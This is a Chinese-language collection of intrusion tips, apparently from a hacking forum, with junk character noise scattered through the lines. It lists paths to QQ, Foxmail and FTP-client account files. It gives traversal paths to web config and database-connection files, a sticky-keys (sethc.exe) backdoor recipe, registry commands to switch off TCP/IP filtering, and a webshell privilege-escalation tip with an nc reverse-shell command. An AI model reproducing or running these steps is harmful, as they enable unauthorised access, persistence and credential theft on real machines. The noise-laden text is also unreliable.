, D2 C; G9 W; I" d4 Kc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
8 \- K) e" k$ [( O( Y0 Sc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
3 N: O& N; c/ X1 r% Lc:\Program Files\Tencent\qq\Users\All Users\Registry.db
% g% H8 d" |$ L9 _C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
/ J5 _6 H5 j6 P2 y+ Uc:\Program Files\Tencent\RTXServer\AppConfig.xml
, R5 M; x# W  ~$ O( B' U' R1 xC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
3 x" h; [* I$ L! ZC:\Program Files\LeapFTP 3.0\LeapFTP.exe
8 m9 s8 v6 ?, E9 j$ J+ S# TC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
- V* s! Q+ t/ c, R& B8 P7 ic:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
! W2 c' I6 P1 p1 BC:\Program Files\FlashFXP\FlashFXP.ini
+ N2 y; y  d% M( VC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
: C5 n5 J9 y  ], Z/ Uc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
3 n: l" c! i! lc:\Program Files\tencent\QQGAME\readme.txt
# n& j! B) m& @C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
% o  H( R. F) f$ c2 ~  ^../../config.php
../config.php
9 L4 I% q5 ?, F4 e6 H: A; F../../../config.php
/ x/ r2 g5 Y" u/config.inc.php
./config.inc.php
0 i. T( U2 F: K../../config.inc.php
8 m# q! b, v7 B0 S../config.inc.php
../../../config.inc.php
9 Q0 Z; p, t5 `' i% `) G/conn.php
./conn.php
../../conn.php
../conn.php
/ F8 I& p# E* V../../../conn.php
/conn.asp
./conn.asp
  S& T' O' g5 D/ Z$ d../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
# D; o9 F/ A8 |# c3 T../../config.inc.php
5 W: D8 y: {, Z( j3 D../config.inc.php
../../../config.inc.php
/config/config.php
4 ~1 ?' r. S) \1 I: s../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
, {3 ?; ]& p; B4 _) A/ K0 z$ V./config/config.inc.php
1 O# q2 F. o+ X4 o../../config/config.inc.php
( O0 ]( g$ L2 _8 a' f  L$ E, g../config/config.inc.php
../../../config/config.inc.php
( `6 s+ O# r1 x* W' i- g3 V/config/conn.php
! R; \* Q; \: x/ @0 O$ E4 V6 D./config/conn.php
8 Q9 p  T1 ]; {+ i" f" ^' ?( {3 i9 H../../config/conn.php
1 j( h) Z+ F% l../config/conn.php
7 d2 S1 U# B, J2 _: Q8 e1 S../../../config/conn.php
/config/conn.asp
$ g& `4 L4 q$ o0 n$ J3 `./config/conn.asp
2 L0 ^8 n, w# Y: e& L0 v../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
  v$ l& o0 D+ |4 h5 Y/config/config.inc.php
./config/config.inc.php
0 k* E! g6 n0 ?3 x; b../../config/config.inc.php
, N  ]. _1 Q! V/ Z5 P0 W../config/config.inc.php
../../../config/config.inc.php
/data/config.php
6 ]- h3 t. W5 B7 M../../data/config.php
../data/config.php
../../../data/config.php
; r5 Q, t: `" E) [+ o/ h- H8 U1 }0 p/data/config.inc.php
./data/config.inc.php
7 w' V- n- i* W1 r9 u! e; @4 K../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
$ U$ d( V& m) F- E/data/conn.php
1 |6 @" a0 b6 R./data/conn.php
../../data/conn.php
. D1 J- U& N& P2 o- c. ]../data/conn.php
../../../data/conn.php
1 E  G- ^9 ?5 B+ p( I1 g/data/conn.asp
8 w, u, x5 D1 `& u8 z8 l2 R: x./data/conn.asp
0 c8 w1 \# L' T( \2 i. z' H../../data/conn.asp
$ g" `, `' y0 ~  s2 M5 W& H- D../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
: e8 @  o1 w7 Q) j8 r. x: B./data/config.inc.php
* @! _5 f$ L1 h/ \../../data/config.inc.php
* ]! f7 P/ S0 [# E: j../data/config.inc.php
../../../data/config.inc.php
: c3 Y4 X2 A5 O' j9 p7 w/include/config.php
  S7 t2 t# @2 h- _/ B3 G8 ~7 M! d) [../../include/config.php
* c8 Q$ S. [2 T/ l/ T../include/config.php
../../../include/config.php
) o2 U! f; z5 v$ F- n! \/include/config.inc.php
- `$ X8 Y( G( @: p4 o./include/config.inc.php
5 e1 z2 k9 c9 {../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
( r5 M/ p, P( F( s- r) Y+ Y+ C# \./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
3 V$ z- k# F: [8 Z./include/conn.asp
# g- I3 C! W  w8 @% l4 `- `3 ~../../include/conn.asp
- V* e, x  @, r3 H2 Q. ^../include/conn.asp
7 b" L' |0 G/ k! }5 z../../../include/conn.asp
  L% f; t/ I5 M: D. v/include/config.inc.php
./include/config.inc.php
' G! r+ i+ @! Y) n, f" J( y../../include/config.inc.php
../include/config.inc.php
. k) y. J( \* @: K2 G; \: r../../../include/config.inc.php
/inc/config.php
8 Z& W& Q1 g# p$ F8 P- O../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
/ h* K5 F* ^3 p3 G" N; r+ ?: {./inc/config.inc.php
4 p: d, ?1 j# o8 _# D- T../../inc/config.inc.php
../inc/config.inc.php
; Q0 i. @& i) g( r../../../inc/config.inc.php
' _2 k8 L2 B) V/inc/conn.php
# k# P- y5 @: C./inc/conn.php
9 K4 X/ m7 D: K9 z../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
% p& |6 n. x" R" K/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
, F& j7 N: l( }& |../../../inc/conn.asp
/inc/config.inc.php
, \9 Y# {7 w3 }: n9 H" g1 e./inc/config.inc.php
2 t8 r3 P1 I" t- d../../inc/config.inc.php
../inc/config.inc.php
( R, g" Q3 v- r" x4 Z: f. e../../../inc/config.inc.php
/index.php
./index.php
( p& W: g# M. e% ~, x! g../../index.php
8 I8 S* [# X: H../index.php
- f6 j. W' W! F../../../index.php
/index.asp
./index.asp
../../index.asp
1 U1 K; _) Q/ v" s../index.asp
& ]- N5 c: D! o../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
, I: H+ w. j( m1 U5 X; a
' |# p( z  \( {: ~2 t: w. ^) K　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# k+ G' b, b3 x: T/ {& I
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
; l' ~% U0 D* S: _
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
& R/ t' L- e1 ~8 w8 A
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
7 ]  O; b) Z& g; g6 L) h) {6 @TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 l  B& n9 K4 ?HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% k% F/ p* E' i; ^
" s/ T% Q) k2 \, N9 }, X# b- h! y  \分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
' p/ s+ E  K  u, d4 ~命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
0 c& n$ D7 Z1 }4 [2 hregedit -s D:\a.reg
regedit -s D:\b.reg
# y! Z- ]0 Z  [2 y8 Z7 @! Y8 Lregedit -s D:\c.reg
2 C6 g* ^, f$ i( V5 a7 H导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
  E+ e( {% I; r6 @* d"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
" l- \8 x6 f. d1 P! C+ Y& b
. ^' z" I- F' c7 Q& Y' m. d! Y3 w而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
( b6 s9 E) q5 w" X9 C: N* ?3 I; O命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
# `: q7 l6 r% H这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功